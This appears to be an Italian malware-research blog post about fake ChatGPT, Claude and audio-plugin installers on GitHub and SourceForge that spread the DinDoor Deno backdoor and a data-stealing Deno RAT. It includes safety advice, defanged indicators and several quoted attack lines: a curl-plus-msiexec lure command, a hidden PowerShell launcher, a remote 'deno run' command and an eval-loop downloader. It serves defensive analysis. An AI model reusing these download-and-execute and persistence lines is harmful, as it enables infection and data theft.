Software fasulli su GitHub e SourceForge diffondono il RAT Deno 

| 26 maggio 2026
Un lupo travestito da agnello

Nel corso delle nostre attività di ricerca delle minacce, abbiamo individuato su GitHub e SourceForge dei programmi di installazione e dei plugin contraffatti che si spacciavano per software famosi quali ChatGPT, Claude, AutoTune e Kontakt e che diffondevano una backdoor Deno nota come DinDoor. Gli autori degli attacchi stanno utilizzando YouTube compromessi per diffondere link a queste piattaforme. 

DinDoor rilascia infine diversi tipi di malware, tra cui un trojan di accesso remoto (RAT) invisibile, che utilizza anch'esso il runtime JavaScript Deno.  

Gli autori degli attacchi ricorrono sempre più spesso a runtime JavaScript alternativi come Bun e Deno per eludere i tradizionali metodi di rilevamento. In una delle nostre recenti indagini abbiamo documentato come gli autori degli attacchi utilizzino Bun come vettore di infezione iniziale per diffondere NWHStealer. Inoltre, a marzo, ThreatDown hanno osservato che gli autori degli attacchi utilizzavano Deno per diffondere CastleLoader attraverso una catena di infezione in più fasi che prevedeva l'uso dell'esca ClickFix.  

Queste campagne utilizzano Scoop (un programma di installazione alternativo per Windows) e WinGet (il gestore Windows ufficiale Windows ) per installare Deno sul computer della vittima. Successivamente, sfruttano il runtime di Deno per eseguire un RAT in grado di lanciare ulteriori payload, sottrarre dati da browser, portafogli digitali e altre applicazioni; tale RAT presenta un'interessante funzionalità peer-to-peer che utilizza Edge nascondere il traffico dannoso. 

Piattaforme legittime utilizzate in modo improprio per diffondere malware

Nella maggior parte dei casi analizzati, la catena di infezione ha inizio tramitefile MSIoscript PowerShellscaricati da GitHub o SourceForge. Gli utenti vengono solitamente reindirizzati a questi repository dannosi tramiteYouTube compromessi. Questi video hanno attualmente totalizzato oltre 50.000 visualizzazioni. 

YouTube compromessi con video generati dall'intelligenza artificiale 
YouTube compromessi con video generati dall'intelligenza artificiale 

YouTube compromessi pubblicano post che promuovono diversi software e passano continuamente da un account GitHub all'altro per diffondere il malware. 

YouTube che rimandano a repository GitHub dannosi
YouTube che rimandano ai repository GitHub dannosi

Il software contraffatto sembra essere stato progettato per colpire creatori di contenuti, appassionati di IA, giocatori e utenti con competenze tecniche, che sono più propensi a download strumenti download , software crackato o programmi di installazione distribuiti dalla comunità da siti come GitHub e SourceForge. Abbiamo osservato MSI e script falsi che si mascherano da programmi di installazione e plugin per software e marchi legittimi come ChatGPT, Claude, ZENOLOGY, Ableton Live, AutoTune e Kontakt. 

Repository GitHub per il programma di installazione falso di ChatGPT
Repository GitHub per il falso programma di installazione di ChatGPT 

I repository dannosi contengono un comando sia per Windows per macOS. Questi repository chiedono agli utenti di aprire il terminale e copiare un comando dannoso, che scarica ed esegue il file MSI da GitHub. 

Plugin fasullo che chiede all'utente di copiare ed eseguire il comando dannoso 
Plugin fasullo che chiede all'utente di copiare ed eseguire il comando dannoso 

Alcuni account GitHub malintenzionati creano numerosi repository pieni di software e plugin fasulli legati a programmi famosi per attirare un maggior numero di utenti. 

Account GitHub contenente diversi repository dannosi
Account GitHub contenente diversi repository dannosi

Abbiamo scoperto che la stessa backdoor è stata diffusa tramite SourceForge, mascherandosi da un gioco legittimo chiamato GearUP e da un software per la rimozione delle filigrane basato sull'intelligenza artificiale chiamato BWR. 

I file MSI dannosi ospitati su SourceForge

Come stare al sicuro  

Gli autori dell'attacco hanno fatto ampio ricorso alla fiducia degli utenti. GitHub e SourceForge sono piattaforme legittime, il che rende i progetti fasulli ancora più convincenti. Abbiamo contattato GitHub, che ha prontamente rimosso i repository dannosi, ma gli utenti devono aspettarsi che ne compaiano di nuovi.

Ecco alcuni semplici consigli per stare al sicuro:  

  • download solo dai siti web ufficiali dei produttori.  
  • Diffidate delle versioni "gratuite", crackate o non ufficiali dei software a pagamento. 
  • Presta attenzione ai download da GitHub, SourceForge, forum o siti di condivisione file, soprattutto se provengono da account nuovi o sconosciuti. 
  • Gli hacker continuano a creare nuovi profili per diffondere questo malware su diverse piattaforme.  Prima di scaricare qualsiasi cosa, controlla il profilo dello sviluppatore o dell'editore, la sua reputazione e da quanto tempo è stato creato. 
  • Verifica che il contenuto dell'archivio, le immagini e i file di testo corrispondano a ciò che ti aspettavi di download. I nomi e la struttura degli archivi seguono spesso schemi malevoli facilmente riconoscibili.  
  • Prima di eseguire il file, controlla l'editore e la firma digitale. Windows, di solito puoi farlo cliccando con il tasto destro del mouse sul file e selezionando Proprietà > Firme digitali. Tieni presente che una firma valida non garantisce che il file sia sicuro, ma l'assenza di una firma o una firma sospetta sono spesso un segnale d'allarme. 

Analisi tecnica 

I repository GitHub dannosi chiedono all'utente di aprire il prompt dei comandi ed eseguire un comando dannoso. I comandi dannosi download MSI da GitHub e lo installano tramite msiexec. Questi repository contengono talvolta anche script PowerShell che servono, analogamente, ad avviare la catena di infezione. 

Esempio di un comando dannoso ospitato su GitHub che avvia la catena di infezione: 

curl -Lo %temp%\s.msi https://raw.githubusercontent.com/claude-free-plugin/install/main/install.msi && msiexec /i %temp%\s.msi 

Il file MSI salva un file CMD e uno script PowerShell in una directory casuale specificata nel file MSI InstallationFolder e valori del Registro di sistema. Abbiamo rilevato diverse strutture per questi MSI, con JavaScript al posto del file CMD o con file incorporati aggiuntivi.

I file “Ps1File” e “CmdFile” contenuti nel dropper MSI
I file “Ps1File” e “CmdFile” contenuti nel dropper MSI

Il file CMD esegue lo script PowerShell, il cui nome varia a seconda delle catene di infezione analizzate: 

@set "SCRIPTDIR=%~dp0" @powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Start-Process powershell -ArgumentList ('-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File ""' + $env:SCRIPTDIR + '{Random name}.ps1""') -WindowStyle Hidden" 

Lo script PowerShell eseguito
Lo script PowerShell eseguito

Lo script PowerShell si occupa di: 

  • Verificare che il gestore di pacchetti Scoop sia installato e, se non lo è, installarlo utilizzando lo script ufficiale disponibile all'indirizzo get.scoop.sh. Scoop è un popolare programma open source per l'installazione e la gestione dei pacchetti da riga di comando per Microsoft Windows. 
  • Utilizzare Scoop per installare WinGet (Windows Manager) se non è presente.  
  • Installa Deno (un runtime JavaScript/TypeScript) tramite WinGet o Scoop, se non è già presente.

L'utilizzo dei gestori di pacchetti Scoop e WinGet per installare software aggiuntivo sul computer compromesso rappresenta un approccio interessante che offre all'autore dell'attacco una maggiore flessibilità. 

Comando eseguito per installare Deno tramite WinGet: 

"C:\Users\admin\scoop\apps\winget\current\winget.exe" install --id DenoLand.Deno -e --accept-source-agreements --accept-package-agreements --silent

La backdoor DinDoor 

Successivamente, viene eseguita la fase seguente utilizzando l'eseguibile Deno scaricato: 

"C:\Users\admin\AppData\Local\Microsoft\WinGet\Packages\DenoLand.Deno_Microsoft.Winget.Source_8wekyb3d8bbwe\deno.exe" run -A http://{C2}/{random_path}.js

Il codice restituito (il cui nome interno è “launcher-1”) è una piccola funzione eval-loop che scarica la fase successiva (il cui nome interno è “launcher-2”). La backdoor scaricata è nota al grande pubblico comeDinDoor

var a="{C2}".split(","),i=0;for(;;){let e=null;try{let t=await fetch(a[i%a.length]+"/{BUILD_ID}.js");if(!t.ok)throw 0;e=await t.text()}catch{i++,await new Promise(t=>setTimeout(t,5e3));continue}try{await(0,eval)("(async()=>{"+e+"})()")}catch{}await new Promise(t=>setTimeout(t,3e4))}

La backdoor garantisce la persistenza, invia informazioni sul sistema compromesso al server di comando e controllo (C2) ed esegue ulteriori payload e comandi restituiti dal C2. Gli endpoint HTTP utilizzati per le comunicazioni C2 variano a seconda dei casi analizzati.  

La backdoor ottiene un ID da un endpoint HTTP (ad esempio, /security-pool) e poi utilizza quell'ID per ottenere la fase successiva da /v2{ID}.js.   

La fase ottenuta viene eseguita tramite stdin senza che venga salvato su disco, utilizzando il comando: 

deno run -A --no-check –

Per garantire la persistenza, la backdoor esegue un comando PowerShell per creare una chiave RUN che avvia il downloader “launcher-1” utilizzato in precedenza: 

conhost.exe --headless "<deno.exe>" -A "%APPDATA%\<hash>.js

Nei casi analizzati, questa backdoor distribuisce diverse famiglie di malware. In questo blog analizziamo uno dei payload distribuiti: un RAT che utilizza il runtime JavaScript Deno. 

Deno RAT 

Il RAT distribuito, come gli altri script analizzati, utilizza l'ambiente JavaScript Deno e dispone di tutte le funzionalità necessarie per controllare il dispositivo, eseguire comandi e payload ed estrarre vari tipi di dati tramite il suo modulo di furto integrato.  

Non abbiamo trovato un nome specifico né alcuna attribuzione per questo RAT. In passato, il RAT è stato denominato “Smokest” in base a un valore specifico presente nel file di configurazione. Lo stile simile dei commenti e l’infrastruttura condivisa suggeriscono che lo sviluppatore di DinDoor e quello del RAT potrebbero essere la stessa persona o lo stesso team. 



Oltre al protocollo HTTP per la comunicazione C2, il RAT supporta anche WebSocket comunicazione, attivata quando il valore JSON isLiveEnabled il valore restituito dal C2 è impostato su true. 

La funzione principale del Deno RAT
La funzione principale del Deno RAT

Il RAT supporta diversi comandi (exec, exec-ps, exec-sc, sysinfo, screenshot, stealer) e funzionalità: 

  • Raccogliere informazioni di sistema sul dispositivo compromesso 
  • Controllo bidirezionale completo tramite un'implementazione VNC personalizzata su WebSocket 
  • Supporta oltre 50 estensioni per portafogli crittografici e 10 cartelle di software crittografici, tra cui Atomic Wallet, Exodus, Electrum e ByteCoin
  • Raccoglie dati dai browser, tra cui Chrome, Chromium, Brave, Edge, Avast Browser, Edge, Opera, Vivaldi, CentBrowser, Kometa, Orbitum, 360Browser e Chromodo 
  • Estrarre i dati da Telegram, Discord e Lightcord 
  • Salvare e modificare i dati negli appunti  
  • Elencare cartelle e file ed estrarre i contenuti dai file con estensioni specifiche  
  • Cattura schermate utilizzando diversi metodi  
  • Eseguire payload aggiuntivi  
  • Avviare o terminare processi arbitrari  
  • Eseguire comandi con PowerShell  
  • Creare tunnel proxy SOCKS5 tramite WebSocket 

Una delle caratteristiche più interessanti di RAT è una modalità di streaming peer-to-peer che utilizza il Edge per nascondere il traffico e rendere più difficile il rilevamento.

Per trasmettere video in diretta direttamente all'operatore senza farli passare attraverso il server C2, il RAT avvia un Edge nascosto Edge Microsoft Edge e si connette ad esso tramite Chrome Protocol (CDP). Successivamente, inserisce una piccola pagina HTML WebRTC in Edge, trasformando il browser legittimo in un relè video peer-to-peer. L'agente Deno cattura e codifica in H.264 lo schermo della vittima, passa i fotogrammi alla Edge tramite CDP, ed Edge li Edge direttamente al browser dell'operatore tramite un WebRTC DataChannel crittografato. La segnalazione SDP e ICE, necessaria per stabilire la connessione diretta, viene scambiata tramite il WebSocket C2 esistente. 

La pagina HTML inserita nel Edge
La pagina HTML inserita nel Edge  

Il RAT utilizza i seguenti endpoint per la comunicazione C2, che possono variare da un campione all'altro: 

  • /health: verifica la risposta "ok" proveniente dal C2 
  • /token: ricezione dei parametri di configurazione, invio delle attività, risultati e dati sottratti 
  • /vnc/agent/: Percorso WebSocket utilizzato per la comunicazione VNC 

I dati di configurazione sono codificati in Base64 e vengono inviati durante le comunicazioni con il C2 come token di autorizzazione. Dati di configurazione decodificati: 

{ 

  "buildId": "cd361ef3159f5ce9", 

  "buildNote": "BWR", 

  "buildType": "msi-v2", 

  "proxyUrls": ["{C2}"], 

  "userId": "…", 

  "accessTokenHash": "…", 

  "iat": 1779372546, 

  "exp": 2094948546 

}

Abbiamo individuato diverse versioni di questo RAT, tra cui una versione "light" denominata "agent-lite" che supporta solo pochi comandi e utilizza Cloudflare Workers per la comunicazione C2. 

La versione "light" del RAT
La versione "light" del RAT

 

Ringraziamenti 

Indicatori di compromesso (IOC) 

URL 

  • https[:]//github.com/claude-free-plugin/
  • https[:]//github.com/ai-gen-profi 
  • https[:]//github.com/wharfdemolisherpit 
  • https[:]//sourceforge.net/projects/gearup/ 
  • https[:]//sourceforge.net/projects/bluewaveremover/

Domini 

  • claudescript[.]top: sito web di distribuzione 
  • ms-telemetry-gateway-us[.]com: C2 
  • dakatawebstick[.]com: C2 
  • ashpaltlonpro[.]com: C2 
  • cf-proxy[.]cloud-analytics-services[.]workers.dev: C2 
  • agilemast3r[.]duckdns[.]org: C2 
  • geralnewlong[.]com: C2 
  • hngfbgfbfb[.]cyou: C2 
  • logicalnewrestore[.]com: C2

IP 

  • 23[.]227[.]196[.]107: C2 
  • 45[.]137[.]99[.]121: C2 
  • 31[.]57[.]129[.]23: C2 
  • 66[.]78[.]40[.]107: C2 
  • 193[.]233[.]198[.]132: C2

Non ci limitiamo a segnalare le minacce, ma le eliminiamo.

I rischi per la sicurezza informatica non dovrebbero mai diffondersi al di là di un titolo di giornale. Tenete le minacce lontane dai vostri dispositivi scaricando Malwarebytes oggi stesso.

Informazioni sull'autore

Gabriele è un ingegnere specializzato nella ricerca sul malware che ama combattere il malware. Quando non è impegnato in questo, lo si può trovare a godersi la natura, l'arte e gli animali.